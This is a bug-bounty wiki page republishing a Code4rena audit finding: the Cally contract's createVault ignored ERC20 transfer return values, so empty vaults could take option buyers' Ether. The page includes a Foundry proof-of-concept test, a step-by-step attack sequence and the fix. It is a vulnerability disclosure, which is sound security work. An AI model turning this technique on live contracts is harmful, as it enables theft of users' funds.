Skip to content
Business logic Audit finding Intermediate

no-revert-on-transfer ERC20 tokens can be drained

The createVault function in a smart contract did not check the return value of an ERC20 transfer, allowing a vault to be created without depositing tokens. An attacker could then buy and exercise options on that empty vault, receiving the buyer's payment while the buyer gets no tokens.

Ruhum Follow

Originally disclosed on Code4rena

Submitted by Ruhum, also found by oyc109 and smilingheretic

https://github.com/code-423n4/2022-05-cally/blob/main/contracts/src/Cally.sol#L198-L200

Impact

Some ERC20 tokens don’t throw but just return false when a transfer fails. This can be abused to trick the createVault() function to initialize the vault without providing any tokens. A good example of such a token is ZRX: Etherscan code

When such a vault is initialized, another user can both buy and exercise the option without ever receiving any funds. The creator of the vault does receive the buyer’s Ether tho. So it can cause a loss of funds.

Proof of Concept

The trick is to create a vault with an ERC20 token but use ERC721 as the vault’s type. Then, instead of calling safeTransferFrom() the function calls transferFrom() which won’t catch the token returning false.

Here’s a test that showcases the issue:

// CreateVault.t.sol
    function testStealFunds() public {
        // address of 0x on mainnet
        address t = address(0xE41d2489571d322189246DaFA5ebDe1F4699F498);
        vm.startPrank(babe);
        require(ERC20(t).balanceOf(babe) == 0);
        uint vaultId = c.createVault(100, t, 1, 1, 1, 0, Cally.TokenType.ERC721);
        // check that neither the Cally contract nor the vault creator
        // had any 0x tokens
        require(ERC20(t).balanceOf(babe) == 0);
        require(ERC20(t).balanceOf(address(c)) == 0);

        // check whether vault was created properly
        Cally.Vault memory v = c.vaults(vaultId);
        require(v.token == t);
        require(v.tokenIdOrAmount == 100);
        vm.stopPrank();
        // So now there's a vault for 100 0x tokens although the Cally contract doesn't
        // have any.
        // If someone buys & exercises the option they won't receive any tokens.
        uint premium = 0.025 ether;
        uint strike = 2 ether;
        require(address(c).balance == 0, "shouldn't have any balance at the beginning");
        require(payable(address(this)).balance > 0, "not enough balance");

        uint optionId = c.buyOption{value: premium}(vaultId);
        c.exercise{value: strike}(optionId);

        // buyer of option (`address(this)`) got zero 0x tokens
        // But buyer lost their Ether
        require(ERC20(t).balanceOf(address(this)) == 0);
        require(address(c).balance > 0, "got some money");
    }

To run it, you need to use forge’s forking mode: forge test --fork-url <alchemy/infura URL> --match testStealFunds

Recommended Mitigation Steps

I think the easiest solution is to use safeTransferFrom() when the token is of type ERC721. Since the transfer is at the end of the function there shouldn’t be any risk of reentrancy. If someone passes an ERC20 address with type ERC721, the safeTransferFrom() call would simply fail since that function signature shouldn’t exist on ERC20 tokens.

outdoteth (Cally) confirmed and resolved:

the fix for this issue is here; https://github.com/outdoteth/cally/pull/4

HardlyDifficult (judge) commented:

This is a great report. I appreciate the clear test showcasing the issue well, and using a real token example.


The original report as published on Code4rena, by Ruhum. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The contract used transferFrom without checking its return value, so a failed transfer (returning false) was not detected.

Impact

The buyer of the option loses their premium and strike payment without receiving any tokens, while the vault creator gains the Ether.

What the attacker needed

A token that returns false on failed transfer; attacker can create a vault; victim buys and exercises the option

The fix

The fix was to use safeTransferFrom for ERC721 token transfers, which would revert if the token does not support that function.

How it was found

  1. Create a vault with an ERC20 token but set the vault type to ERC721.
  2. The contract calls transferFrom, which returns false but does not revert, so the vault is created without any tokens.
  3. Buy an option on that vault by paying the premium.
  4. Exercise the option by paying the strike price.
  5. The buyer receives no tokens, but the vault creator keeps the Ether.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Some digital tokens don't stop a transaction when a transfer fails; they just quietly return 'false'. The smart contract ignored that 'false', so it thought tokens were deposited when they weren't. This let someone create a fake vault and sell options on tokens that didn't exist, keeping the buyer's money.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Ruhum

View all

55 more disclosed reports, best first.

More from Cally contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.